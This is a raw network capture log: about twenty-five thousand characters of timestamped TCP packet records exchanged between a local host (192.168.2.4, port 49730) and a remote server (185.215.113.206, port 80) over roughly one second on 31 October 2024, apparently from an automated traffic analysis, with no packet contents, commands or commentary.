Oct 31, 2024 07:14:07.854818106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.854870081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.854882956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.854919910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.886965990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.886986971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.886996984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.887137890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.972264051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972274065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972284079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972338915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.972362995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972368002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.972376108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972385883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972404957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.972426891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.972915888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972925901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972937107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972953081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972964048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.972969055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.972975016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.973001003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.973028898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.973809958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.973819017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:07.973875046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:07.973886967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.005530119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.005541086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.005551100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.005609035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.005645037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.090809107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.090852976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.090862036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.090899944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.090903997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.090910912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.090925932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.090956926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.091209888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091219902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091255903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.091428041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091439009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091449976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091459990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091480017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.091502905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.091972113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091984034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.091993093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.092016935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.092056990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.124183893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.124228954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.124238968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.124244928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.124293089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.124319077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.209286928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.209322929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.209336996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.209347010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.209414005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.209448099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.219424009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219456911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219472885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219482899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219492912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219496012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.219506025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219516039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.219553947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.219786882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219799042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219809055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.219835043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.219861031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.242666006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.242676020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.242717981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.242741108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.242754936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.242764950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.242779016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.242818117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.327927113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.327939034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.327949047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328000069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328022003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328032017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328044891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328078032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328177929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328187943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328223944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328324080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328340054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328351021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328360081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328388929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328692913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328747034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328752041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328794003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328869104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328907967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328908920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328918934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.328953028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.328960896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.361211061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.361248016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.361255884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.361285925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.361318111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.361471891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.361481905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.361493111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.361515999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.361529112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.446461916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446481943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446492910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446518898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.446557045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446557999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.446568012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446578979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446595907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.446620941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.446863890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446902990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.446930885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.446970940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.447047949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.447058916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.447068930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.447091103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.447113037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.447391987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.447402000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.447412014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.447432041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.447463989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.479810953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.479821920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.479832888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.479851961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.479861975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.479868889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.479868889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.479881048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.479886055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.479903936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.479923010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565017939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565033913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565042973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565087080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565087080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565121889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565128088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565139055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565152884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565162897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565175056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565481901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565493107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565502882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565525055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565536022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565756083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565795898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565804005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565814972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565845966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565845966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565855980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.565866947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565875053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.565897942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.598368883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.598388910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.598397970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.598412037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.598440886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.598448038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.598453045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.598464012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.598474026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.598510981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.598527908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.683613062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.683623075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.683629990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.683648109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.683656931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.683667898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.683702946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.683742046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.684051991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684101105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.684111118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684148073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.684228897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684238911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684250116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684272051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.684300900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.684526920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684580088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684581995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.684591055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684601068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.684618950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.684636116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.716857910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.716885090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.716902971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.716912031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.716928005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.716949940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.716989040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.717164993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.717206955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.717210054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.717219114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.717248917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.717516899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.717525959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.717570066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.801980019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802000046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802067995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802113056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.802118063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802134037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802155972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.802181959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.802416086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802462101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802472115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802476883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.802500010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.802520037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.802757025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802767038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802777052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.802813053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.802838087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.803056002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.803066015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.803076029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.803109884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.803139925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.838259935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838294983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838304996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838320971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838331938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838341951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838355064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838392019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.838442087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.838671923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838690996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.838737965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.838771105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.920701981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.920716047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.920751095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.920756102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.920763016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.920773029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.920778036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.920785904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.920799017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.920819998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.921036005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921046972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921056986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921068907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.921094894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.921387911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921399117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921408892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921418905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921431065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.921458006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.921838045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921879053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.921895027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.921930075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954040051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954052925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954063892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954087019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954107046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954174995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954215050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954253912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954289913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954335928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954356909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954368114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954377890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954386950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954410076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954802990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954848051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954849005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954885960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:08.954896927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:08.954937935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.040750027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.040770054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.040779114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.040788889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.040810108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.040827036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.040946007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.040997028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.041007042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.041044950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.072561979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.072643995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.072649956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.072680950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.072691917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.072705030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.072712898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.072715998 CET	80	49730	185.215.113.206	192.168.2.4
